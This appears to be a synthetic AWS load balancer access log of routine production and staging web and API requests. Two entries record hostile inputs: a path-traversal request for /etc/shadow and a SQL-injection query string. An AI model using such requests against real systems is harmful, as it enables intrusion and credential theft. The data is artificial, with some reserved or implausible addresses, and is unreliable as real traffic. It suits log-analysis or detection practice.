ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ed-867cc7c9dddc492282f616fb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:49.497344Z "forward" "-" "-" "10.0.194.242:443" "200" "-" "-" -https 2024-11-01T01:09:50.294719Z prod-web-alb 65.114.223.111:41551 10.0.71.152:443 0.033839 0.480822 0.025890 200 200 129 9525 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ee-2f2d234b3332408e8d61c593" "prod-web-alb.example.com" "-" 1 2024-11-01T01:09:50.294719Z "forward" "-" "-" "10.0.71.152:443" "200" "-" "-" -https 2024-11-01T01:09:50.793875Z prod-api-alb 159.16.195.137:20433 10.0.206.154:443 0.046874 0.082737 0.039979 200 200 535 3657 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7ee-d61d68f4dd1545d2bf3e1860" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:50.793875Z "forward" "-" "-" "10.0.206.154:443" "200" "-" "-" -https 2024-11-01T01:09:51.646957Z prod-web-alb 235.46.14.107:38398 10.0.118.236:443 0.041925 0.185775 0.037646 302 302 544 3344 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ef-8d0155c52a9e4a97b2cfad0c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:51.646957Z "forward" "-" "-" "10.0.118.236:443" "302" "-" "-" -http 2024-11-01T01:09:52.109950Z staging-alb 37.119.107.129:50451 14.178.125.172:80 0.144211 0.397086 0.055095 200 200 739 8296 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7f0-bd8fb997a3d94c349e28e498" "staging-alb.example.com" "-" 4 2024-11-01T01:09:52.109950Z "forward" "-" "-" "14.178.125.172:80" "200" "-" "-" -https 2024-11-01T01:09:53.868751Z prod-api-alb 101.3.35.78:20219 10.0.221.144:443 0.093174 0.139619 0.034100 302 302 186 7804 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f1-aad67865654d4dbeb74a626b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:53.868751Z "forward" "-" "-" "10.0.221.144:443" "302" "-" "-" -https 2024-11-01T01:09:55.101439Z prod-web-alb 39.12.252.32:21365 10.0.230.86:443 0.013560 0.277501 0.074821 301 301 375 1328 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7f3-898b87f671b448ea99727859" "prod-web-alb.example.com" "-" 2 2024-11-01T01:09:55.101439Z "forward" "-" "-" "10.0.230.86:443" "301" "-" "-" -https 2024-11-01T01:09:55.862184Z prod-api-alb 218.217.148.85:13641 10.0.222.140:443 0.069096 0.274910 0.058174 302 302 460 5196 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f3-680f9dd4ddb642e990f2b1a2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:55.862184Z "forward" "-" "-" "10.0.222.140:443" "302" "-" "-" -https 2024-11-01T01:09:57.282347Z prod-web-alb 221.75.158.227:60885 10.0.28.129:443 0.034885 0.198780 0.010447 404 404 3 5960 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7f5-b4d5dcd19ed147cf870af5ee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:57.282347Z "forward" "-" "-" "10.0.28.129:443" "404" "-" "-" -https 2024-11-01T01:09:58.108990Z prod-api-alb 78.242.228.53:45589 10.0.142.251:443 0.054773 0.035311 0.081719 200 200 871 2325 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7f6-d36874297ef5438ab2977d72" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:58.108990Z "forward" "-" "-" "10.0.142.251:443" "200" "-" "-" -https 2024-11-01T01:09:59.865688Z prod-api-alb 53.202.28.84:35991 10.0.144.98:443 0.046311 0.238675 0.061786 200 200 772 6905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7f7-e88cedb424634f8abfada3b0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:59.865688Z "forward" "-" "-" "10.0.144.98:443" "200" "-" "-" -https 2024-11-01T01:10:01.852075Z prod-api-alb 48.91.174.31:48590 10.0.187.19:443 0.038005 0.371937 0.038332 404 404 210 12384 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7f9-6fae6732b0cf4773a96505b8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:01.852075Z "forward" "-" "-" "10.0.187.19:443" "404" "-" "-" -http 2024-11-01T01:10:02.837271Z staging-alb 162.53.32.116:51760 109.198.39.6:80 0.065353 0.479584 0.076538 404 404 27 14971 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7fa-1dccb530fc314bf3995e6211" "staging-alb.example.com" "-" 7 2024-11-01T01:10:02.837271Z "forward" "-" "-" "109.198.39.6:80" "404" "-" "-" -https 2024-11-01T01:10:03.646807Z prod-web-alb 171.221.63.182:54538 10.0.91.105:443 0.040903 0.471144 0.041362 200 200 419 12406 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7fb-7e03b281798e4237ba1e6e8d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:10:03.646807Z "forward" "-" "-" "10.0.91.105:443" "200" "-" "-" -http 2024-11-01T01:10:05.207083Z staging-alb 143.141.6.197:49655 118.153.53.175:8080 0.149503 0.645087 0.025146 302 302 775 4619 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7fd-5ee0d2d470df499cb5094420" "staging-alb.example.com" "-" 5 2024-11-01T01:10:05.207083Z "forward" "-" "-" "118.153.53.175:8080" "302" "-" "-" -https 2024-11-01T01:10:05.819106Z staging-alb 158.45.137.217:57002 238.50.34.176:8080 0.091219 0.295627 0.091192 200 200 343 14348 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7fd-d5cfede8dd77473b8770f974" "staging-alb.example.com" "-" 8 2024-11-01T01:10:05.819106Z "forward" "-" "-" "238.50.34.176:8080" "200" "-" "-" -https 2024-11-01T01:10:07.176809Z prod-web-alb 86.28.252.132:48542 10.0.61.121:443 0.084703 0.345394 0.068862 200 200 97 13306 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ff-7c947da5c75c42e987735ed0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:10:07.176809Z "forward" "-" "-" "10.0.61.121:443" "200" "-" "-" -http 2024-11-01T01:10:07.606132Z staging-alb 138.74.244.252:23233 227.60.75.61:443 0.148343 0.658153 0.047818 200 200 120 3043 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7ff-80255dc8915b495ab8487ddd" "staging-alb.example.com" "-" 6 2024-11-01T01:10:07.606132Z "forward" "-" "-" "227.60.75.61:443" "200" "-" "-" -https 2024-11-01T01:10:08.579418Z prod-api-alb 21.36.176.80:29762 10.0.145.209:443 0.087331 0.473651 0.045331 200 200 884 918 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c800-6f83a919f97243ea89dd37ad" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:08.579418Z "forward" "-" "-" "10.0.145.209:443" "200" "-" "-" -https 2024-11-01T01:10:10.352124Z staging-alb 44.18.142.0:23797 36.146.180.20:443 0.107371 0.459511 0.146281 200 200 475 2657 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c802-a2dbc302d0664c5291328141" "staging-alb.example.com" "-" 1 2024-11-01T01:10:10.352124Z "forward" "-" "-" "36.146.180.20:443" "200" "-" "-" -https 2024-11-01T01:10:11.136179Z prod-web-alb 212.51.126.112:33961 10.0.55.33:443 0.056641 0.250161 0.060498 404 404 342 11846 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c803-af8a967c3fcd456d92359d6f" "-" "-" 8 2024-11-01T01:10:11.136179Z "forward" "-" "-" "10.0.55.33:443" "404" "-" "-" -https 2024-11-01T01:10:11.323377Z prod-web-alb 75.96.140.204:33248 10.0.191.93:443 0.009027 0.303657 0.064203 404 404 748 8991 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c803-87e04bd6991740b68f58a430" "prod-web-alb.example.com" "-" 7 2024-11-01T01:10:11.323377Z "forward" "-" "-" "10.0.191.93:443" "404" "-" "-" -https 2024-11-01T01:10:12.269195Z prod-api-alb 100.190.223.143:26789 10.0.52.200:443 0.082490 0.288885 0.097010 302 302 538 8664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c804-ab8333f24cb44efebf925725" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:12.269195Z "forward" "-" "-" "10.0.52.200:443" "302" "-" "-" -https 2024-11-01T01:10:13.824811Z staging-alb 41.125.126.159:55908 58.5.103.194:80 0.057237 0.156863 0.116531 302 302 119 7080 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c805-1ecdceb1124f44eb86fe0fe7" "staging-alb.example.com" "-" 0 2024-11-01T01:10:13.824811Z "forward" "-" "-" "58.5.103.194:80" "302" "-" "-" -https 2024-11-01T01:10:15.008210Z prod-web-alb 155.110.15.171:25213 10.0.146.60:443 0.097038 0.476366 0.095079 404 404 742 7625 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c807-81cc72c96d2b4d17abf54dc2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:10:15.008210Z "forward" "-" "-" "10.0.146.60:443" "404" "-" "-" -https 2024-11-01T01:10:16.761190Z staging-alb 136.229.80.100:35143 190.228.218.86:443 0.075978 0.658531 0.044536 200 200 168 9160 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c808-85de213a336040d58c9338b4" "staging-alb.example.com" "-" 8 2024-11-01T01:10:16.761190Z "forward" "-" "-" "190.228.218.86:443" "200" "-" "-" -https 2024-11-01T01:10:17.558598Z prod-web-alb 162.189.84.235:26452 10.0.198.185:443 0.095240 0.038230 0.073882 404 404 585 4511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c809-605b6d85a8e744fd9c354264" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:17.558598Z "forward" "-" "-" "10.0.198.185:443" "404" "-" "-" -https 2024-11-01T01:10:19.458887Z prod-web-alb 162.228.227.164:59892 10.0.163.54:443 0.086843 0.362688 0.025884 302 302 295 7112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c80b-1b5c58c682a34ff9a3ab7c8c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:10:19.458887Z "forward" "-" "-" "10.0.163.54:443" "302" "-" "-" -http 2024-11-01T01:10:20.706604Z staging-alb 45.184.59.235:62627 79.123.138.68:443 0.068738 0.668665 0.042274 301 301 45 12963 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c80c-27e9ec945f8a42c8bb6b345b" "staging-alb.example.com" "-" 10 2024-11-01T01:10:20.706604Z "forward" "-" "-" "79.123.138.68:443" "301" "-" "-" -https 2024-11-01T01:10:22.625028Z prod-api-alb 74.141.57.217:19458 10.0.92.111:443 0.030968 0.368429 0.018369 200 200 389 6035 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c80e-c9e89a1e639a438db606315f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:22.625028Z "forward" "-" "-" "10.0.92.111:443" "200" "-" "-" -https 2024-11-01T01:10:24.297972Z prod-api-alb 182.121.53.62:13082 10.0.154.177:443 0.051927 0.047960 0.066200 302 302 170 9775 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c810-eb9e931bd38c4107b0301f4c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:10:24.297972Z "forward" "-" "-" "10.0.154.177:443" "302" "-" "-" -https 2024-11-01T01:10:24.506958Z prod-web-alb 36.61.17.242:19553 10.0.58.211:443 0.051994 0.103930 0.048476 200 200 418 3673 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c810-84b6d92e02c6413cbdadaeff" "prod-web-alb.example.com" "-" 10 2024-11-01T01:10:24.506958Z "forward" "-" "-" "10.0.58.211:443" "200" "-" "-" -https 2024-11-01T01:10:25.657663Z prod-api-alb 151.252.197.221:23197 10.0.135.90:443 0.022338 0.150931 0.035766 200 200 857 11496 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c811-35a2c6054dc44a91a4d12bb2" "prod-api-alb.example.com" "-" 5 2024-11-01T01:10:25.657663Z "forward" "-" "-" "10.0.135.90:443" "200" "-" "-" -https 2024-11-01T01:10:26.119640Z staging-alb 46.15.112.64:50607 152.179.150.18:8080 0.057276 0.298797 0.061071 301 301 170 4616 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c812-859b353fdeab421eb817d93a" "staging-alb.example.com" "-" 0 2024-11-01T01:10:26.119640Z "forward" "-" "-" "152.179.150.18:8080" "301" "-" "-" -https 2024-11-01T01:10:27.558456Z prod-api-alb 193.27.228.108:14601 10.0.135.93:443 0.023620 0.027588 0.094329 403 403 685 6063 "GET /images/../../../../etc/shadow HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c813-1d7a0a0d68134325b18e9078" "-" "-" 5 2024-11-01T01:10:27.558456Z "forward" "-" "-" "10.0.135.93:443" "403" "-" "-" -http 2024-11-01T01:10:28.415580Z staging-alb 127.97.191.223:52166 181.122.140.177:443 0.131524 0.237486 0.055341 200 200 156 3285 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c814-f0d39877ed82469fb588d730" "-" "-" 9 2024-11-01T01:10:28.415580Z "forward" "-" "-" "181.122.140.177:443" "200" "-" "-" -http 2024-11-01T01:10:29.351836Z staging-alb 67.123.7.189:47534 82.72.170.32:443 0.060111 0.297516 0.064690 200 200 803 11551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c815-6077195ab29c4553b37a1bc4" "staging-alb.example.com" "-" 9 2024-11-01T01:10:29.351836Z "forward" "-" "-" "82.72.170.32:443" "200" "-" "-" -https 2024-11-01T01:10:30.507237Z prod-api-alb 60.123.210.205:55890 10.0.249.128:443 0.027273 0.460954 0.060738 301 301 607 13411 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c816-1a785454e77a4fb69fb35b1e" "-" "-" 1 2024-11-01T01:10:30.507237Z "forward" "-" "-" "10.0.249.128:443" "301" "-" "-" -http 2024-11-01T01:10:31.924174Z staging-alb 194.246.1.44:35945 92.165.73.225:443 0.117802 0.342793 0.009329 200 200 887 14838 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c817-72c22d17e87a465a84799ea3" "-" "-" 7 2024-11-01T01:10:31.924174Z "forward" "-" "-" "92.165.73.225:443" "200" "-" "-" -https 2024-11-01T01:10:32.809782Z prod-web-alb 240.215.26.183:21954 10.0.8.46:443 0.057194 0.126504 0.075266 302 302 121 11440 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c818-fbb6c266f7f94c45ae3f4185" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:32.809782Z "forward" "-" "-" "10.0.8.46:443" "302" "-" "-" -http 2024-11-01T01:10:33.527528Z staging-alb 148.154.161.26:29116 36.97.156.61:80 0.008047 0.213382 0.101884 200 200 325 13171 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c819-976851de3950479ba5b3658c" "staging-alb.example.com" "-" 5 2024-11-01T01:10:33.527528Z "forward" "-" "-" "36.97.156.61:80" "200" "-" "-" -http 2024-11-01T01:10:35.110951Z staging-alb 126.93.84.84:33838 63.163.192.128:443 0.008899 0.229762 0.000590 302 302 896 7619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c81b-a117b782c2c7424ebf07cc83" "staging-alb.example.com" "-" 5 2024-11-01T01:10:35.110951Z "forward" "-" "-" "63.163.192.128:443" "302" "-" "-" -http 2024-11-01T01:10:35.967302Z staging-alb 28.2.12.230:13490 214.193.35.50:80 0.018924 0.308953 0.000488 301 301 975 11728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c81b-4724d41c5300400285a93f09" "staging-alb.example.com" "-" 3 2024-11-01T01:10:35.967302Z "forward" "-" "-" "214.193.35.50:80" "301" "-" "-" -https 2024-11-01T01:10:36.457719Z prod-api-alb 185.181.21.23:64949 10.0.87.117:443 0.081193 0.179874 0.057232 500 500 722 1099 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c81c-30fc5a6545e042cd83067da0" "-" "-" 0 2024-11-01T01:10:36.457719Z "forward" "-" "-" "10.0.87.117:443" "500" "-" "-" -https 2024-11-01T01:10:36.607645Z staging-alb 22.168.210.72:38568 110.172.214.40:443 0.074998 0.183300 0.074096 200 200 114 5671 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c81c-d25b8f1eb66e43f9a3bfbb2b" "staging-alb.example.com" "-" 2 2024-11-01T01:10:36.607645Z "forward" "-" "-" "110.172.214.40:443" "200" "-" "-" -https 2024-11-01T01:10:38.357316Z prod-api-alb 190.251.142.75:49844 10.0.144.95:443 0.000598 0.245343 0.004965 200 200 637 12124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c81e-cd8cf84d24fd458f8001c677" "prod-api-alb.example.com" "-" 6 2024-11-01T01:10:38.357316Z "forward" "-" "-" "10.0.144.95:443" "200" "-" "-" -https 2024-11-01T01:10:39.379096Z prod-web-alb 76.226.70.93:42433 10.0.42.55:443 0.029313 0.236457 0.004905 200 200 250 7538 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c81f-8e3b43018be3461592966630" "prod-web-alb.example.com" "-" 10 2024-11-01T01:10:39.379096Z "forward" "-" "-" "10.0.42.55:443" "200" "-" "-" -https 2024-11-01T01:10:40.084639Z staging-alb 67.235.95.229:62539 241.91.83.56:443 0.050196 0.630362 0.067584 200 200 570 757 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c820-6abf701f8bce46d0a4c5cc51" "staging-alb.example.com" "-" 8 2024-11-01T01:10:40.084639Z "forward" "-" "-" "241.91.83.56:443" "200" "-" "-" -https 